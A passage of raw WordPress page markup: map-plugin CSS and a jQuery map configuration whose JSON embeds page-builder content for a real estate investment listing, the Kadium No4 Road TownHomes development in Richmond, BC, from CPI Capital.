0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_0 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_0 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_0 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11522\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_1 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg 1305w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-1280x823.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-980x630.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-480x309.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1305px, 100vw\" class=\"wp-image-11523\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11524\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11525\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-1280x830.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-980x635.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11526\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_1 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_1 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Kadium No4 Road TownHomes<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Richmond, British Columbia<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_2 ro